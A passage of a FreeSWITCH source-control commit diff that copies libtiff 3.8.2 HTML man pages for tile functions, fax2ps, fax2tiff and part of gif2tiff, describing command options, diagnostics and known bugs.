+the <i>TileWidth</i> and <i>TileLength</i> tags. If the
+<i>tw</i> and <i>th</i> values passed in are non-zero, then
+they are adjusted to reflect any compression-specific
+requirements. The returned width and height are constrained
+to be a multiple of 16 pixels to conform with the
+<small>TIFF</small> specification.</p>
+<!-- INDENTATION -->
+<p><i>TIFFTileSize</i> returns the equivalent size for a
+tile of data as it would be returned in a call to
+<i>TIFFReadTile</i> or as it would be expected in a call to
+<i>TIFFWriteTile</i>.</p>
+<!-- INDENTATION -->
+<p><i>TIFFVTileSize</i> returns the number of bytes in a
+row-aligned tile with <i>nrows</i> of data.</p>
+<!-- INDENTATION -->
+<p><i>TIFFTileRowSize</i> returns the number of bytes of a
+row of data in a tile.</p>
+<!-- INDENTATION -->
+<p><i>TIFFComputeTile</i> returns the tile that contains the
+specified coordinates. A valid tile is always returned;
+out-of-range coordinate values are clamped to the bounds of
+the image. The <i>x</i> and <i>y</i> parameters are always
+used in calculating a tile. The <i>z</i> parameter is used
+if the image is deeper than 1 slice
+(<i>ImageDepth</i>&gt;1). The <i>sample</i> parameter is
+used only if data are organized in separate planes
+(<i>PlanarConfiguration</i>=2).</p>
+<!-- INDENTATION -->
+<p><i>TIFFCheckTile</i> returns a non-zero value if the
+supplied coordinates are within the bounds of the image and
+zero otherwise. The <i>x</i> parameter is checked against
+the value of the <i>ImageWidth</i> tag. The <i>y</i>
+parameter is checked against the value of the
+<i>ImageLength</i> tag. The <i>z</i> parameter is checked
+against the value of the <i>ImageDepth</i> tag (if defined).
+The <i>sample</i> parameter is checked against the value of
+the <i>SamplesPerPixel</i> parameter if the data are
+organized in separate planes.</p>
+<!-- INDENTATION -->
+<p><i>TIFFNumberOfTiles</i> returns the number of tiles in
+the image.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFReadEncodedTile</b>(3TIFF),
+<b>TIFFReadRawTile</b>(3TIFF), <b>TIFFReadTile</b>(3TIFF),
+<b>TIFFWriteEncodedTile</b>(3TIFF),
+<b>TIFFWriteRawTile</b>(3TIFF), <b>TIFFWriteTile</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2ps.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2ps.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/fax2ps.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2ps.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2ps.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,254 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>FAX2PS</title>
+</head>
+<body>
+
+<h1 align=center>FAX2PS</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>fax2ps &minus; convert a <small>TIFF</small> facsimile to
+compressed &trade;</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>fax2ps</b> [ <i>options</i> ] [ <i>file</i>... ]</p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>fax2ps</i> reads one or more <small>TIFF</small>
+facsimile image files and prints a compressed form of on the
+standard output that is suitable for printing.</p>
+<!-- INDENTATION -->
+<p>By default, each page is scaled to reflect the image
+dimensions and resolutions stored in the file. The
+<b>&minus;x</b> and <b>&minus;y</b> options can be used to
+specify the horizontal and vertical image resolutions
+(lines/inch), respectively. If the <b>&minus;S</b> option is
+specified, each page is scaled to fill an output page. The
+default output page is 8.5 by 11 inches. Alternate page
+dimensions can be specified in inches with the
+<b>&minus;W</b> and <b>&minus;H</b> options.</p>
+<!-- INDENTATION -->
+<p>By default <i>fax2ps</i> generates for all pages in the
+file. The <b>&minus;p</b> option can be used to select one
+or more pages from a multi-page document.</p>
+<!-- INDENTATION -->
+<p><i>fax2ps</i> generates a compressed form of that is
+optimized for sending pages of text to a printer attached to
+a host through a low-speed link (such as a serial line).
+Each output page is filled with white and then only the
+black areas are drawn. The specification of the black
+drawing operations is optimized by using a special font that
+encodes the move-draw operations required to fill the black
+regions on the page. This compression scheme typically
+results in a substantially reduced description, relative to
+the straightforward imaging of the page with a <i>image</i>
+operator. This algorithm can, however, be ineffective for
+continuous-tone and white-on-black images. For these images,
+it sometimes is more efficient to send the raster bitmap
+image directly; see <i>tiff2ps</i>(1).</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="11%">
+
+<p><b>&minus;p</b> <i>number</i></p>
+</td>
+<td width="1%"></td>
+<td width="76%">
+
+<p>Print only the indicated page. Multiple pages may be
+printed by specifying this option more than once.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;x</b> <i>resolution</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="23%"></td>
+<td width="76%">
+<p>Use <i>resolution</i> as the horizontal resolution, in
+dots/inch, of the image data. By default this value is taken
+from the file.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;y</b> <i>resolution</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="23%"></td>
+<td width="76%">
+<p>Use <i>resolution</i> as the vertical resolution, in
+lines/inch, of the image data. By default this value is
+taken from the file.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="11%">
+
+<p><b>&minus;S</b></p>
+</td>
+<td width="1%"></td>
+<td width="76%">
+
+<p>Scale each page of image data to fill the output page
+dimensions. By default images are presented according to the
+dimension information recorded in the <small>TIFF</small>
+file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="11%">
+
+<p><b>&minus;W</b> <i>width</i></p>
+</td>
+<td width="1%"></td>
+<td width="76%">
+
+<p>Use <i>width</i> as the width, in inches, of the output
+page.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="11%">
+
+<p><b>&minus;H</b> <i>height</i></p>
+</td>
+<td width="1%"></td>
+<td width="76%">
+
+<p>Use <i>height</i> as the height, in inches, of the
+output page.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Some messages about malformed <small>TIFF</small> images
+come from the <small>TIFF</small> library.</p>
+<!-- INDENTATION -->
+<p>Various messages about badly formatted facsimile images
+may be generated due to transmission errors in received
+facsimile. <i>fax2ps</i> attempts to recover from such data
+errors by resynchronizing decoding at the end of the current
+scanline. This can result in long horizontal black lines in
+the resultant image.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>If the destination printer supports Level II then it is
+always faster to just send the encoded bitmap generated by
+the <b>tiff2ps</b>(1) program.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>fax2ps</i> should probably figure out when it is doing
+a poor job of compressing the output and just generate to
+image the bitmap raster instead.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiff2ps</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2tiff.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2tiff.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/fax2tiff.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2tiff.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/fax2tiff.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,607 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>FAX2TIFF</title>
+</head>
+<body>
+
+<h1 align=center>FAX2TIFF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>fax2tiff &minus; create a <small>TIFF</small> Class F fax
+file from raw fax data</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>fax2tiff</b> [ <i>options</i> ] [ <b>&minus;o</b>
+<i>output.tif</i> ] <i>input.raw</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Fax2tiff</i> creates a <small>TIFF</small> file
+containing <small>CCITT</small> Group 3 or Group 4 encoded
+data from one or more files containing
+&lsquo;&lsquo;raw&rsquo;&rsquo; Group 3 or Group 4 encoded
+data (typically obtained directly from a fax modem). By
+default, each row of data in the resultant
+<small>TIFF</small> file is 1-dimensionally encoded and
+padded or truncated to 1728 pixels, as needed. The resultant
+image is a set of low resolution (98 lines/inch) or medium
+resolution (196 lines/inch) pages, each of which is a single
+strip of data. The generated file conforms to the
+<small>TIFF</small> Class F ( <small>FAX</small> )
+specification for storing facsimile data. This means, in
+particular, that each page of the data does <b>not</b>
+include the trailing <i>return to control</i> (
+<small>RTC</small> ) code; as required for transmission by
+the <small>CCITT</small> Group 3 specifications. The old,
+&lsquo;&lsquo;classic&rsquo;&rsquo;, format is created if
+the <b>&minus;c</b> option is used. (The Class F format can
+also be requested with the <b>&minus;f</b> option.)</p>
+<!-- INDENTATION -->
+<p>The default name of the output image is <i>fax.tif</i>;
+this can be changed with the <b>&minus;o</b> option. Each
+input file is assumed to be a separate page of facsimile
+data from the same document. The order in which input files
+are specified on the command line is the order in which the
+resultant pages appear in the output file.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Options that affect the interpretation of input data
+are:</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;3</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is <small>CCITT</small> Group 3
+encoded (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;4</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is <small>CCITT</small> Group 4
+encoded.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;U</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is uncompressed (Group 3 or Group
+4).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;1</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is encoded with the 1-dimensional
+version of the <small>CCITT</small> Group 3 Huffman encoding
+algorithm (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;2</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is 2-dimensional version of the
+<small>CCITT</small> Group 3 Huffman encoding algorithm.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;P</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is <b>not</b> EOL-aligned (default).
+This option has effect with Group 3 encoded input only.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;A</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data is EOL-aligned. This option has effect
+with Group 3 encoded input only.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;M</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Treat input data as having bits filled from most
+significant bit ( <small>MSB</small> ) to most least bit (
+<small>LSB</small> ).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;L</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Treat input data as having bits filled from least
+significant bit ( <small>LSB</small> ) to most significant
+bit ( <small>MSB</small> ) (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;B</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data was encoded with black as 0 and white
+as 1.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;W</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Assume input data was encoded with black as 1 and white
+as 0 (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;R</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the vertical resolution, in lines/inch, of the
+input images. By default input are assumed to have a
+vertical resolution of 196 lines/inch. If images are low
+resolution facsimile, a value of 98 lines/inch should be
+specified.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;X</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the width, in pixels, of the input images. By
+default input are assumed to have a width of 1728
+pixels.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Options that affect the output file format are:</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;o</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the name of the output file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;7</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be compressed with the
+<small>CCITT</small> Group 3 Huffman encoding algorithm
+(default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;8</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be compressed with the
+<small>CCITT</small> Group 4 Huffman encoding.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;u</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be uncompressed (Group 3 or Group
+4).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;5</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be encoded with the 1-dimensional
+version of the <small>CCITT</small> Group 3 Huffman encoding
+algorithm.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;6</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be encoded with the 2-dimensional
+version of the <small>CCITT</small> Group 3 Huffman encoding
+algorithm (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;a</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the last bit of each <i>End Of Line</i> (
+<small>EOL</small> ) code to land on a byte boundary
+(default). This &lsquo;&lsquo;zero padding&rsquo;&rsquo;
+will be reflected in the contents of the
+<i>Group3Options</i> tag of the resultant
+<small>TIFF</small> file. This option has effect with Group
+3 encoded output only.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Do not EOL-align output. This option has effect with
+Group 3 encoded output only.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Generate &quot;classic&quot; Group 3 TIFF format.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;f</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Generate TIFF Class F (TIFF/F) format (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;m</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output data to have bits filled from most
+significant bit ( <small>MSB</small> ) to most least bit (
+<small>LSB</small> ).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;l</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output data to have bits filled from least
+significant bit ( <small>LSB</small> ) to most significant
+bit ( <small>MSB</small> ) (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the number of rows (scanlines) in each strip of
+data written to the output file. By default (or when value
+<b>0</b> is specified), <i>tiffcp</i> attempts to set the
+rows/strip that no more than 8 kilobytes of data appear in a
+strip (with except of G3/G4 compression schemes). If you
+specify special value <b>-1</b> it will results in infinite
+number of the rows per strip. The entire image will be the
+one strip in that case. This is default in case of G3/G4
+output compression schemes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;s</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Stretch the input image vertically by writing each input
+row of data twice to the output file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;v</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force <i>fax2tiff</i> to print the number of rows of
+data it retrieved from the input file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;z</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be compressed with the LZW encoding.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following warnings and errors come from the decoding
+routines in the library.</p>
+<!-- INDENTATION -->
+<p><b>Warning, %s: Premature EOL at scanline %d (x
+%d).\n</b>. The input data had a row that was shorter than
+the expected width. The row is padded with white.</p>
+<!-- INDENTATION -->
+<p><b>%s: Premature EOF at scanline %d (x %d).\n</b>. The
+decoder ran out of data in the middle of a scanline. The
+resultant row is padded with white.</p>
+<!-- INDENTATION -->
+<p><b>%s: Bad code word at row %d, x %d\n</b>. An invalid
+Group 3 <i>code</i> was encountered while decoding the input
+file. The row number and horizontal position is given. The
+remainder of the input row is discarded, while the
+corresponding output row is padded with white.</p>
+<!-- INDENTATION -->
+<p><b>%s: Bad 2D code word at scanline %d.\n</b>. An invalid
+Group 4 or 2D Group 3 <i>code</i> was encountered while
+decoding the input file. The row number and horizontal
+position is given. The remainder of the input row is
+discarded, while the corresponding output row is padded with
+white.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Input data are assumed to have a a &lsquo;&lsquo;top
+left&rsquo;&rsquo; orientation; it should be possible to
+override this assumption from the command line.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b><small>CCITT</small> Recommendation T.4</b>
+(Standardization of Group 3 Facsimile Apparatus for Document
+Transmission).</p>
+<!-- INDENTATION -->
+<p><b>The Spirit of TIFF Class F</b>, an appendix to the
+TIFF 5.0 specification prepared by Cygnet Technologies.</p>
+<!-- INDENTATION -->
+<p><b>tiffinfo</b>(1), <b>tiffdither</b>(1),
+<b>tiffgt</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/gif2tiff.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/gif2tiff.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/gif2tiff.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/gif2tiff.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/gif2tiff.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,141 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>GIF2TIFF</title>
+</head>
+<body>
+
+<h1 align=center>GIF2TIFF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>gif2tiff &minus; create a <small>TIFF</small> file from a
+GIF87 format image file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>gif2tiff</b> [ <i>options</i> ] <i>input.gif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Gif2tiff</i> converts a file in the GIF87 format to
+<small>TIFF.</small> The <small>TIFF</small> image is
+created as a palette image, with samples compressed with the
+Lempel-Ziv &amp; Welch algorithm (<i>Compression</i>=5).
+These characteristics can overridden, or explicitly
+specified with the options described below.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression, <b>-c
+packbits</b> for the PackBits compression algorithm, <b>-c
+zip</b> for the Deflate compression algorithm, and
+<b>&minus;c lzw</b> for Lempel-Ziv &amp; Welch (the
+default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
